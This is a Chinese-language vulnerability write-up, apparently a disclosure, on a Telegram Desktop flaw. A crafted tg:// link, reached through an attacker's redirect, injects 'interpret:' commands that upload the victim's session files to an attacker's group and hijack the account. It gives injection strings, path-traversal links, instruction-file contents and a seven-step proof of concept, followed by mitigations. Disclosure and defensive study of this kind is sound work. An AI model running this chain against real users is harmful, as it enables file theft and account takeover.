Telegram Desktop 漏洞：点击一个链接即可窃取任意用户文件

1

tg://x?a=1;CMD:quit

1

OPEN:tg://x?a=1;CMD:quit;

1
2

OPEN:tg://x?a=1
CMD:quit

1
2
3
4

// application.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
    interprets.append(url.path());
    return false;

1

tg://x?a=1;OPEN:interpret:instructions.txt

1
2
3

# Telegram/build/updates.py:206
subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath
    + '/.../command.txt', shell=True)

1
2
3
4
5
6
7

from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:

- Fixed a crash in the media viewer.
- Added a new sticker pack.

1
2
3
4
5
6
7
8
9

// support_helper.cpp:673-680
QString InterpretSendPath(
        not_null<Window::SessionController*> window,
        const QString &path) {
    QFile f(path);
    if (!f.open(QIODevice::ReadOnly)) {
        return "App Error: Could not open interpret file: " + path;
    }
    const auto content = QString::fromUtf8(f.readAll());

1

C:\Users\<user>\Downloads\Telegram Desktop\<file name>

1

interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

1
2
3
4

tg://x?a=1
  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt

核心原语始终未变：任意文件读取。变化的是读取的目标：SSH 密钥、浏览器密码库、云凭证文件，或是包含 API 令牌的配置文件。

Telegram 不以明文存储本地数据，因此用户磁盘上的所有内容均经过加密，包括会话授权信息。这是客户端向 Telegram 服务器进行身份识别的凭证，持有它等同于掌握该账户，类似网站上的会话 Cookie。

Telegram 采用密钥包装技术，涉及两把密钥。第一把是 DEK（数据加密密钥），具有长度长、随机性强、高熵的特征，用于加密用户数据。第二把是 KEK（密钥加密密钥），仅用于加密 DEK。KEK 并非密码本身，而是通过密钥派生函数（KDF），结合与加密 DEK 存储在同一位置的盐值，从密码派生而来。

打开本地数据的关键链在伪代码中如下所示：

1
2
3
4
5
6

salt, encrypted_DEK = read("tdata/key_datas")
passcode            = user_passcode()          # 若未设置则为空

KEK     = KDF(passcode, salt)
DEK     = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)

默认情况下，Telegram Desktop 没有本地密码，用户需进入设置手动开启。若未设置密码，用于派生的密码为空字符串（参见 storage_domain.cpp:102），因此 KEK 由空字符串和盐值派生。而该盐值以明文存储在 tdata/key_datas 中，这与存放加密 DEK 的文件相同。只需读取这一个文件，即可重新计算 KEK 并解密出 DEK。

因此，在默认未设置密码的情况下，任何获取 key_datas 的人都能得到 DEK，进而解密所有其他数据，包括会话授权信息。

涉及三个文件，其中仅两个包含机密数据：

1
2
3
4
5

tdata/
├── key_datas                 盐值与加密的 DEK
├── D877F783D5D3EF8Cs         使用 DEK 加密的 MTProto 授权信息
└── D877F783D5D3EF8C/
    └── maps                  账户存储数据的索引

这个文件夹名并非随机生成，也不是某次安装特有的。它由字符串 data 派生而来，也就是默认的数据名称（storage_file_utilities.cpp:241-250），在所有安装实例上都完全相同。

第三个文件是索引，本身不含任何秘密。但缺少它会话同样无法加载：Telegram 只在读取这个索引时才读取授权信息。不过要不要偷走它是可选的——攻击者完全可以自己构造一个。在本次概念验证中，为了方便，还是把它和其他两个文件一起取走。

由此可见，只要拿到这三个文件，攻击者就等于拿到了账号：把它们放进一个全新的 tdata 文件夹，启动 Telegram，受害者的会话就打开了。

投递链接

整个攻击需要受害者点击一次，而且这次点击必须来自 Telegram 之外。在 Telegram 聊天中点击 tg:// 链接是在进程内处理的（click_handler_types.cpp:278），根本不会经过 socket，所以没有可注入的点。而普通的 https 链接会在系统浏览器中打开（ui_integration.cpp:437），因为 Telegram Desktop 没有内置浏览器。于是攻击者发送一个普通的 https 链接，再让自己的服务器把它重定向到精心构造的 tg:// 链接。

1
2
3
4
5

GET /rules HTTP/1.1
Host: corvus.sec

HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt

视浏览器而定，也取决于受害者之前是否用过这个协议处理器，系统在启动 Telegram 前可能会弹出确认提示。

概念验证

1. 攻击者创建一个超级群组并把受害者拉进去。Telegram 的默认隐私设置允许这样操作，无需被邀请者确认。

2. 攻击者在群里发布三个指令文本文件，对应要窃取的三个文件，全部指定攻击者自己的群作为传输目的地。省略 from: 行即可完全绕过账号校验：

   1 2 3

   channel: 2001234567 file: tdata/key_datas caption: poc

   该文件必须是使用 LF 换行符且无 BOM 的纯文本。另外两个文件指向 tdata/D877F783D5D3EF8Cs 和 tdata/D877F783D5D3EF8C/maps。自动下载功能会在受害者打开该群组时将这三个文件全部保存到磁盘上，而受害者本就需要打开群组，因为第 3 步的链接正停在那里。

3. 攻击者在聊天中发送一个无害的链接：

   1	https://corvus.sec/rules

4. 受害者点击该链接。浏览器跟随重定向，此次每个目标对应一条指令，此处为可读性换行显示，实际作为单行发送：

   1 2 3 4

   tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt

5. 操作系统启动第二个 Telegram 进程，并通过 socket 将 URL 转发给正在运行的进程。未转义的分号将指令截断，注入随即触发。

6. 三条 interpret: 指令被执行，三个文件被上传至攻击者的群组。过程中不显示任何确认对话框。

7. 攻击者利用这三个文件重建 tdata，并打开受害者的账户。

缓解措施

升级至 7.2.9 或更高版本。 这是唯一能彻底修复该问题的方法。其余措施仅能降低风险暴露面。

• 开启“询问每个文件的保存位置”选项。 启用此设置后，自动下载将完全失效，指令文件便不会到达磁盘。除升级外，这是最有效的缓解手段。

• 将“可邀请你加入群组的对象”限制为仅限联系人。 被盗文件只能发送至频道或超级群组，此设置可切断攻击者的投递渠道。

• 设置本地密码，并像设置真实密码一样设置它。 这无法阻止文件被盗，只能使被盗会话无法使用。

修复

时间线